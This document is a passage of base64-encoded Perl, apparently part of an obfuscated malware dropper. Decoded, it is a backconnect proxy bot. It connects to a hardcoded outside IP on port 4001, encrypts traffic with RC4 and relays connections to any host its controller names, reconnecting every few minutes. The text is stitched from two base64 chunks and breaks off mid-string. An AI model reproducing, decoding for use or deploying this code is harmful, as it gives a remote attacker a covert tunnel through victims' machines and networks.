QkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KS